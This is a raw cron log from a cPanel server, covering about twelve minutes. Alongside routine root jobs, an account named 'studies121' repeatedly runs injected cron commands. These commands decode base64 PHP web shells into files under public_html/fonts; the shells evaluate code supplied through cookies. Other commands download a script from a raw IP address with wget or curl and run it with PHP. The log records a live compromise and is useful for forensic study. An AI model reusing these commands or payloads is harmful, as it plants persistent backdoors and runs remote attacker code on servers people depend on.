Sep  1 05:48:01 ip-184-168-122-23 CROND[29561]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 05:48:01 ip-184-168-122-23 CROND[29563]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:48:01 ip-184-168-122-23 CROND[29564]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 05:49:01 ip-184-168-122-23 CROND[29690]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 05:49:01 ip-184-168-122-23 CROND[29693]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 05:49:01 ip-184-168-122-23 CROND[29692]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:49:01 ip-184-168-122-23 CROND[29694]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:50:01 ip-184-168-122-23 CROND[29822]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:50:01 ip-184-168-122-23 CROND[29823]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 05:50:02 ip-184-168-122-23 CROND[29825]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 05:50:02 ip-184-168-122-23 CROND[29830]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 05:50:02 ip-184-168-122-23 CROND[29829]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 05:50:02 ip-184-168-122-23 CROND[29828]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:50:02 ip-184-168-122-23 CROND[29832]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 05:50:02 ip-184-168-122-23 CROND[29833]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 05:50:02 ip-184-168-122-23 CROND[29831]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 05:51:01 ip-184-168-122-23 CROND[30022]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 05:51:01 ip-184-168-122-23 CROND[30024]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 05:51:01 ip-184-168-122-23 CROND[30025]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:51:01 ip-184-168-122-23 CROND[30027]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:52:01 ip-184-168-122-23 CROND[30156]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 05:52:01 ip-184-168-122-23 CROND[30157]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 05:52:01 ip-184-168-122-23 CROND[30159]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:52:01 ip-184-168-122-23 CROND[30160]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 05:52:01 ip-184-168-122-23 CROND[30161]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:53:01 ip-184-168-122-23 CROND[30259]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 05:53:01 ip-184-168-122-23 CROND[30262]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:53:01 ip-184-168-122-23 CROND[30261]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:53:01 ip-184-168-122-23 CROND[30263]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 05:54:01 ip-184-168-122-23 CROND[30356]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:54:01 ip-184-168-122-23 CROND[30358]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 05:54:01 ip-184-168-122-23 CROND[30361]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 05:54:01 ip-184-168-122-23 CROND[30359]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 05:54:01 ip-184-168-122-23 CROND[30360]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:55:01 ip-184-168-122-23 CROND[30473]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 05:55:01 ip-184-168-122-23 CROND[30478]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 05:55:01 ip-184-168-122-23 CROND[30479]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:55:01 ip-184-168-122-23 CROND[30480]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 05:55:01 ip-184-168-122-23 CROND[30482]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:55:01 ip-184-168-122-23 CROND[30484]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 05:56:01 ip-184-168-122-23 CROND[30680]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:56:01 ip-184-168-122-23 CROND[30682]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 05:56:01 ip-184-168-122-23 CROND[30683]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:56:01 ip-184-168-122-23 CROND[30681]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 05:56:01 ip-184-168-122-23 CROND[30684]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 05:57:01 ip-184-168-122-23 CROND[30824]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 05:57:01 ip-184-168-122-23 CROND[30825]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:57:01 ip-184-168-122-23 CROND[30828]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:57:01 ip-184-168-122-23 CROND[30826]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 05:58:01 ip-184-168-122-23 CROND[30935]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 05:58:02 ip-184-168-122-23 CROND[30937]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 05:58:02 ip-184-168-122-23 CROND[30936]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:58:02 ip-184-168-122-23 CROND[30939]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:58:02 ip-184-168-122-23 CROND[30941]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 05:59:01 ip-184-168-122-23 CROND[31106]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:59:01 ip-184-168-122-23 CROND[31108]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 05:59:01 ip-184-168-122-23 CROND[31110]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:59:01 ip-184-168-122-23 CROND[31109]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 06:00:01 ip-184-168-122-23 CROND[31230]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  1 06:00:01 ip-184-168-122-23 CROND[31232]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 06:00:01 ip-184-168-122-23 CROND[31238]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 06:00:01 ip-184-168-122-23 CROND[31235]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 06:00:01 ip-184-168-122-23 CROND[31239]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 06:00:01 ip-184-168-122-23 CROND[31240]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 06:00:01 ip-184-168-122-23 CROND[31237]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 06:00:01 ip-184-168-122-23 CROND[31233]: (root) CMD (/usr/local/cpanel/scripts/exim_tidydb > /dev/null 2>&1)
Sep  1 06:00:01 ip-184-168-122-23 CROND[31236]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
